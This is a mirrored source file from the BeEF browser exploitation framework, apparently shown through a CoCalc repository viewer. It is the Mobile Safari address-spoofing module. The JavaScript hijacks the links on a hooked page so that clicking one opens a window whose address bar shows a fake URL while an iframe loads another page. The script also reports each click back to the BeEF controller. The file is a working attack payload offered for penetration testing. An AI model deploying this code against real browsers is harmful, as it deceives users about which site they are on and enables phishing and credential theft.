Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/mobilesafari_address_spoofing/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
var somethingsomething = function() {
9
var fake_url = "<%= @fake_url %>";
10
var real_url = "<%= @real_url %>";
11
12
var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes');
13
newWindow.document.write('<iframe style="width:100%;height:100%;border:0;padding:0;margin:0;" src="' + real_url + '"></iframe>');
14
newWindow.focus();
15
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked');
16
}
17
18
beef.execute(function() {
19
20
$j('<%= @domselectah %>').each(function() {
21
$j(this).attr('href','#').click(function() {
22
somethingsomething();
23
return true;
24
});
25
});
26
27
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten');
28
29
});
30